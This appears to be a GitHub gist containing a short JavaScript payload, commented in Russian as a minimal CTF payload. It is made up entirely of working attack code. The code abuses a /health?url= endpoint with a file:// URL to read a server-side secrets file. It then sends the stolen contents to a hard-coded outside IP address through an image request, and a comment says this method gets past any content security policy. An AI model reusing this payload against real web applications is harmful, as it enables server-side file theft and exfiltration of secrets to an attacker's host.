Skip to content

Instantly share code, notes, and snippets.

@Alanislik

Alanislik/gist:2dc58e4931d36af9f6facdc7887b1293

Created December 6, 2025 04:17
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Alanislik/2dc58e4931d36af9f6facdc7887b1293 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Alanislik/2dc58e4931d36af9f6facdc7887b1293 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.txt
// Минимальный payload для CTF
fetch('http://209.38.254.85:8543/?loaded=1');
fetch('/health?url=file:///usr/src/app/secrets_app.py')
.then(r => r.text())
.then(data => {
// Отправляем через Image (работает при любом CSP)
new Image().src = 'http://209.38.254.85:8543/?flag=' +
encodeURIComponent(data.substring(0, 2000));
})
.catch(e => {
new Image().src = 'http://209.38.254.85:8543/?error=' +
encodeURIComponent(e.toString());
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment